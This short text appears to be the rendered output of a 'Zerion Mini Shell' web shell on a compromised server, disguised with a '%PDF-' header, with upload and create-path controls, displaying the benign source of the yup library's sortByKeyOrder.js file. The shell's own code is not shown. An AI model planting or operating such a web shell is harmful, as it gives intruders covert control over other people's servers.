%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/node_modules/yup/es/util/
Upload File :
Create Path :
Current File : /var/www/html/node_modules/yup/es/util/sortByKeyOrder.js

function findIndex(arr, err) {
  let idx = Infinity;
  arr.some((key, ii) => {
    var _err$path;

    if (((_err$path = err.path) == null ? void 0 : _err$path.indexOf(key)) !== -1) {
      idx = ii;
      return true;
    }
  });
  return idx;
}

export default function sortByKeyOrder(keys) {
  return (a, b) => {
    return findIndex(keys, a) - findIndex(keys, b);
  };
}

Zerion Mini Shell 1.0